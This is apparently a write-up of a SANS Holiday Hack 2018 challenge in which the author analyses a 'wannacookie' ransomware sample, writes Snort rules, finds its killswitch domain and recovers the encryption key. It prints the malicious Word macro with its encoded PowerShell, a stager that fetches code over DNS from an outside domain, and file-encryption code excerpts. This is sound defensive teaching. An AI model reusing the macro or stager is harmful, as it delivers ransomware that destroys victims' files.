SANS Holiday Hack 2018: Objective 9: Ransomeware Recovery
Objective: Alabaster Snowball is in dire need of your help. Santa’s file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa’s server by completing several tasks. For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.
Answers:
Catch the Malware: Snort Rule see below
Identify the Domain: erohetfanu.com
Stop the Malware: Register the killswitch domain yippeekiyaa.aaay
Recover Alabaster’s Password: ED#ED#EED#EF#G#F#G#ABA#BA#B
Catch The Malware
Objective: Assist Alabaster by building a Snort filter to identify the malware plaguing Santa’s Castle.
This was a basic analysis of the PCAP file provided that showed lots of DNS (UDP:53) requests and response with a specific HEX encoded string in the requested domain name. The following Snort rules were created:
alert udp any any -> any 53 (msg: “Malware”; content: “77616E6E61636F6F6B69652E6D696E2E707331”; sid: 1000001; rev: 1;)
alert udp any 53 -> any any (msg: “Malware”; content: “77616E6E61636F6F6B69652E6D696E2E707331”; sid: 1000002; rev: 1;)

Testing them we got the following response:

Identifying the Domain
Objective: Using the Word docm
file, identify the domain name that the malware communicates with.
Alabaster Snowball provides us with the file “CHOCOLATE_CHIP_COOKIE_RECIPE.zip” which sets off anti-virus straight away (Luckily we downloaded on our virtual machine). Unzipping this file we are provided with a file “CHOCOLATE_CHIP_COOKIE_RECIPE.docm”
This file is then analysed with python olevba from oletools, as suggested by the Kringlecon talk, which showed there was a Powershell macro:
Private Sub Document_Open()
Dim cmd As String
cmd = “powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C “”sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG’),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()”” “
Shell cmd
End Sub
Using Cyberchef we can decode the Base64 and then Decompress to get:
function H2A($a) {
$o;
$a -split ‘(..)’ | ? {
$_
} | forEach { [char]([convert]::toint16($_, 16)) } | forEach { $o = $o + $_ }; return $o
};
$f = “77616E6E61636F6F6B69652E6D696E2E707331”;
$h = “”;
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name “$f.erohetfanu.com” -Type TXT).strings, 10) – 1)) {
$h += (Resolve-DnsName -Server erohetfanu.com -Name “$i.$f.erohetfanu.com” -Type TXT).strings
};
#iex($(H2A $h | Out-string))
$(H2A $h | Out-string)
We can run this code without the iex call “Invoke-Expression” call which uses the DNS communication to erohetfanu.com and downloads the powershell: wannacookie.min.ps1
Stop The Malware
Objective: Identify a way to stop the malware in its tracks!
The following part of the downloaded powershell code at the top of the wanc function provided the kill switch (or don’t function) capabilities:
$S1 = “1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000”;
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
return
};
if ($(netstat -ano | Select-String “127.0.0.1:8080”).length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne “KRINGLECASTLE”) {
return
};
Initially a DNS lookup of type TXT is completed for 6B696C6C737769746368.erohetfanu.com against the server erohetfanu.com:
Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT
Where the prefix/host part of the domain is the hex encoded version of the string: killswitch which is promising, and we get the result of this DNS query as:
66667272727869657268667865666B73
Which when hex decoded becomes the strange string:
ffrrrxierhfxefks
Though this makes up the second parameter of the ti_rox function, which appears to be doing some kind of XOR (crypto) function between the two parameters. The second parameter is made up via some encoding and gzip decompression of the $s1 variable:
$(B2H $(G2B $(H2B $S1)))
Which when run in powershell returns:
1f0f0202171d020c0b09075604070a0a
Following the function through and running the ti_rox function with these parameters as the code specifies:
ti_rox “1f0f0202171d020c0b09075604070a0a” “66667272727869657268667865666B73”
We get a byte array, which we can encode to Hex using the B2H function and get:
7969707065656b697961612e61616179
Which is the Hex encoded version of the string, which can be retrieved using the H2A function, providing:
yippeekiyaa.aaay
Which appears to be the kill domain. as another DNS query request is done for this domain to the Google DNS server 8.8.8.8 and if the result is not NULL, then the script returns doing nothing else.
This could be registered at Ho Ho Daddy and the malware is stopped:

Recover Alabaster’s Password:
Objective: Recover Alabaster’s password as found in the the encrypted password vault.
Alabaster provides us with two files:
- alabaster_passwords.elfdb.wannacookie – The encrypted database file
- powershell.exe_181109_104716.dmp – A dump file for the powershell malware script
Analysing the malware powershell script again, we can look at the encryption mechanism:
$p_k = [System.Convert]::FromBase64String($(g_o_dns(“7365727665722E637274”) ) );
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($((char[] + (char[]) + 0..9 | sort {Get-Random})[0..15] -join ”)) | ? {$_ -ne 0x00});
$h_k = $(B2H $b_k);
$k_h = $(sh1 $h_k);# Encrypted $b_k with $p_k (Public Key)
$p_k_e_k = (p_k_e $b_k $p_k).ToString();
$c_id = (snd_k $p_k_e_k);
$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");
# List of files ending with .elfdb
[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music'))
-Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
# Encrypt the files and change to .wannacookie
e_n_d $b_k $f_c $true;
The g_o_dns function does the communication with the command and control server. And the string “7365727665722E637274” is hex encoded string “server.crt” doing this call pulls back the base64 encode text which when decoded shows a certificate.
We can see that $b_k is the key that is used to actually encrypt our file for ransom, and this is a random 32 char hex string (i.e. 16 bytes). This is the symmetric key we require to decrypt the file.
Using the powerdump tool (as suggested in hints) to process the powershell dump file, we look for possible 32 char hex strings. We find 5:
- 033ecb2bc07a4d43b5ef94ed5a35d280
- cf522b78d86c486691226b40aa69e95c
- 9e210fe47d09416682b841769c78b8a3
- 4ec4f0187cb04f4cb6973460dfe252df
- 27c87ef9bbda4f709f6b4002fa4af63c
Trying to use these on the decrypt functionality in the powershell script, but none decrypt the file successfully. This may be due to these variables being explicitly cleared.]
The decrypt functionality is shown below, note the e_n_d function takes false instead of true for decrypt. Also there is a check that the sha1 of the decrypt key matches the previously stored hash.
$akey = $Req.QueryString.Item(“key”);
if ($k_h -eq $(sh1 $akey)) {
$akey = $(H2B $akey);
[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
e_n_d $akey $f_c $false;
$html = “Files have been decrypted!”;
$close = $true
} else {
$html = “Invalid Key!”
}
Using powershell again we can search for a SHA1 hash (hex characters length 40) which returns a single result:
SHA1 of Key: b0e59a5e0f00968856f22cff2d6226697535da5b
None of the keys we found have a SHA1 matching above.
Going back to the encrypt functionality we can see a function call to p_k_e which takes the symmetric encryption key and the public key from server.crt. It seems that the symmetric key is encrypted with the public key before sending back to the command and control server.
Analysis of the public key (server.crt) using openssl shows that it is a 2048 bit (256 byte) key, this means that the encrypted version of the symmetric key will be expanded to 256 bytes. So using powerdump again I searched for a hex character string with total length 512 (2 chars per byte). This returned a single result, lets hope this is the encrypted symmetric key.
We now needed the private key to attempt to decrypt this data, so as we downloaded the server.crt from command and control via hex encode dns “server.crt” we attempted to do the same with “server.key”. So we called the following:
g_o_dns(“7365727665722E6B6579”)
Which returned the following:
—–BEGIN PRIVATE KEY—–
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
—–END PRIVATE KEY—–
Using openssl we checked the modulus of the public key and the modulus of the private key, and they matched. So it looks like we have the private key used to encrypt the symmetric encryption key.
Creating files with the bytes of the encypted key and the private key it was encrytped with we can then run the following command to get the raw symmetric key. We had to try different padding methods (-oaep) to get the correct output:
openssl rsautl -decrypt -oaep -in data.enc -hexdump -inkey server.key
This returned a 16 byte file, looks like we may have the key:
fbcfc121915d99cc20a3d3d5d84f8308
Calling the sh1 powershell function from the script with this key returns the expected SHA1, so this looks like our key.
Running the powershell with the correct arguments:
e_n_d $(H2B “fbcfc121915d99cc20a3d3d5d84f8308”) $f_c $false
And the output file, is decrypted as an SQL Lite database. Opening this with “DB Browser for SQL Lite” and we get the following:

We can see the password for the vault: ED#ED#EED#EF#G#F#G#ABA#BA#B